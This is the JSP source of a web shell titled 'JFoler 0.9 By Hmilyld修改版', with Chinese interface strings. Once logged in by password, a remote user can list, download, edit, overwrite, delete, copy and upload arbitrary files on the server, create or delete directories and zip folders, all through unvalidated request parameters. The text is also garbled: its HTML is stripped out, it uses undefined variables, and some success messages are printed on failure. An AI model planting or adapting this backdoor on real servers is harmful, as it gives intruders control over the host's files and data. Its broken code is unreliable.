<%
request.setCharacterEncoding("gb2312");
String tabID = request.getParameter("tabID");
String strDir = request.getParameter("path");
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strPath = strDir + "\\" + strFile;
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit = new StringBuffer("");
StringBuffer sbDown = new StringBuffer("");
StringBuffer sbCopy = new StringBuffer("");
StringBuffer sbSaveCopy = new StringBuffer("");
StringBuffer sbNewFile = new StringBuffer("");
StringBuffer sbZip = new StringBuffer("");
StringBuffer sbDelFolder = new StringBuffer("");
String user = (String) request.getSession().getAttribute("user");
if (request.getParameter("password") != null
&& request.getParameter("password").equals(password)) {
request.getSession().setAttribute("user", "ok");
response.sendRedirect(strThisFile);
}
if ((tabID == null) || tabID.equals("")) {
tabID = "1";
}
if (strDir == null || strDir.length() < 1) {
strDir = request.getSession().getServletContext().getRealPath(
"/");
}
if (strAction != null && strAction.equals("down")) {
File f = new File(strPath);
if (f.length() == 0) {
sbDown.append("文件大小为 0 字节,就不用下了吧");
} else {
response.setHeader("content-type",
"text/html; charset=ISO-8859-1");
response.setContentType("APPLICATION/OCTET-STREAM");
response.setHeader("Content-Disposition",
"attachment; filename=\"" + f.getName() + "\"");
FileInputStream fileInputStream = new FileInputStream(f
.getAbsolutePath());
out.clearBuffer();
int i;
while ((i = fileInputStream.read()) != -1) {
out.write(i);
}
fileInputStream.close();
out.close();
}
}
if (strAction != null && strAction.equals("del")) {
File f = new File(strPath);
f.delete();
}
if (strAction != null && strAction.equals("edit")) {
File f = new File(strPath);
BufferedReader br = new BufferedReader(new InputStreamReader(
new FileInputStream(f)));
sbEdit
.append("");
}
if (strAction != null && strAction.equals("save")) {
File f = new File(strPath);
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(
new FileOutputStream(f)));
String strContent = request.getParameter("content");
bw.write(strContent);
bw.close();
}
if (strAction != null && strAction.equals("copy")) {
sbCopy
.append("
");
}
if (strAction != null && strAction.equals("savecopy")) {
File f = new File(strPath);
String strDesFile = request.getParameter("file2");
if (strDesFile == null || strDesFile.equals("")) {
sbSaveCopy.append("目标文件错误。");
} else {
File f_des = new File(strDesFile);
if (f_des.isFile()) {
sbSaveCopy
.append("
目标文件已存在,不能复制。");
} else {
String strTmpFile = strDesFile;
if (f_des.isDirectory()) {
if (!strDesFile.endsWith("\\")) {
strDesFile = strDesFile + "\\";
}
strTmpFile = strDesFile + "cqq_" + strFile;
}
File f_des_copy = new File(strTmpFile);
FileInputStream in1 = new FileInputStream(f);
FileOutputStream out1 = new FileOutputStream(f_des_copy);
byte[] buffer = new byte[1024];
int c;
while ((c = in1.read(buffer)) != -1) {
out1.write(buffer, 0, c);
}
in1.close();
out1.close();
sbSaveCopy.append("原始文件 :" + strPath + "
");
sbSaveCopy.append("目标文件 :" + strTmpFile + "
");
sbSaveCopy.append("复制成功!");
}
}
sbSaveCopy
.append("
");
}
if (strAction != null && strAction.equals("newFile")) {
String strF = request.getParameter("fileName");
String strType1 = request.getParameter("btnNewFile");
String strType2 = request.getParameter("btnNewDir");
String strType = "";
if (strType1 == null) {
strType = "Dir";
} else if (strType2 == null) {
strType = "File";
}
if (!strType.equals("") && !(strF == null || strF.equals(""))) {
File f_new = new File(strF);
if (strType.equals("File") && !f_new.createNewFile())
sbNewFile.append(strF + " 文件创建成功");
if (strType.equals("Dir") && !f_new.mkdirs())
sbNewFile.append(strF + " 目录创建成功");
} else {
sbNewFile.append("
建立文件或目录出错。");
}
}
if (null!=strAction && "delFolder".equals(strAction)){
String folder = request.getParameter("path");
File dir = new File(folder);
delFolder(dir);
sbDelFolder.append("目录删除成功");
}
if (null != strAction && "zipFolder".equals(strAction)) {
String inFolder = request.getParameter("path");
String outFolder = request.getParameter("file");
ZipFolder.zipDirectory(inFolder, outFolder);
sbZip.append("
目录压缩成功,压缩文件路径为:" + outFolder + "
");
}
if ((request.getContentType() != null)
&& (request.getContentType().toLowerCase()
.startsWith("multipart"))) {
String tempdir = ".";
response.setContentType("text/html");
sbNewFile.append("建立文件或目录出错。");
HttpMultiPartParser parser = new HttpMultiPartParser();
int bstart = request.getContentType().lastIndexOf("oundary=");
String bound = request.getContentType().substring(bstart + 8);
int clength = request.getContentLength();
Hashtable ht = parser.processData(request.getInputStream(),
bound, tempdir, clength);
if (ht.get("cqqUploadFile") != null) {
FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
File f1 = fi.file;
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
if (info != null && info.aborted) {
f1.delete();
request.setAttribute("error", "Upload aborted");
} else {
String path = (String) ht.get("path");
if (path != null && !path.endsWith("\\"))
path = path + "\\";
if (!f1.renameTo(new File(path + f1.getName()))) {
request
.setAttribute("error",
"Cannot upload file.");
f1.delete();
}
}
}
}
%>
JFoler 0.9 By Hmilyld修改版
<%if (user != null) {%>
<%}%>
<%if (user == null) {%>
<%
} else {
%>
<%
StringBuffer sbFolder = new StringBuffer("");
StringBuffer sbFile = new StringBuffer("");
try {
File objFile = new File(strDir);
if(!objFile.exists()){
strDir = strDir.substring(0,strDir.lastIndexOf("\\"));
objFile = new File(strDir);
}
File list[] = objFile.listFiles();
if (objFile.getAbsolutePath().length() > 3) {
sbFolder
.append(" | ");
sbFolder.append(strParentFolder[languageNo]);
sbFolder.append("");
sbFolder.append(" ");
sbFolder.append(zipFolderProperty[languageNo]);
sbFolder.append("");
sbFolder.append(" ");
sbFolder.append("- - - - - - - - - - - |
\r\n");
}
for (int i = 0; i < list.length; i++) {
if (list[i].isDirectory()) {
sbFolder.append(" | ");
sbFolder.append("");
sbFolder.append(list[i].getName()+ "");
sbFolder.append(" ");
sbFolder.append(strDelFolder[languageNo]+ "");
sbFolder.append("
|
");
} else {
String strLen = "";
String strDT = "";
long lFile = 0;
lFile = list[i].length();
strLen = convertFileSize(lFile);
java.util.Date dt = new java.util.Date(list[i]
.lastModified());
SimpleDateFormat dd = new SimpleDateFormat(
"yyyy-MM-dd hh:mm:ss");
strDT = dd.format(dt);
sbFile
.append("");
sbFile.append("" + list[i].getName());
sbFile.append(" | ");
sbFile.append("" + strLen);
sbFile.append(" | ");
sbFile.append("" + strDT);
sbFile.append(" | ");
for (int temp = 0; temp < 4; temp++) {
String action;
String actionName;
if (temp == 0) {
action = "edit";
actionName = strFileEdit[languageNo];
} else if (temp == 1) {
action = "del";
actionName = strFileDel[languageNo];
} else if (temp == 2) {
action = "down";
actionName = strFileDown[languageNo];
} else {
action = "copy";
actionName = strFileCopy[languageNo];
}
;
sbFile
.append(" ");
sbFile.append(actionName + "");
}
sbFile.append(" |
");
}
}
} catch (Exception e) {
out.println("操作失败: " + e.toString()
+ "");
}
%>
<%
}
%>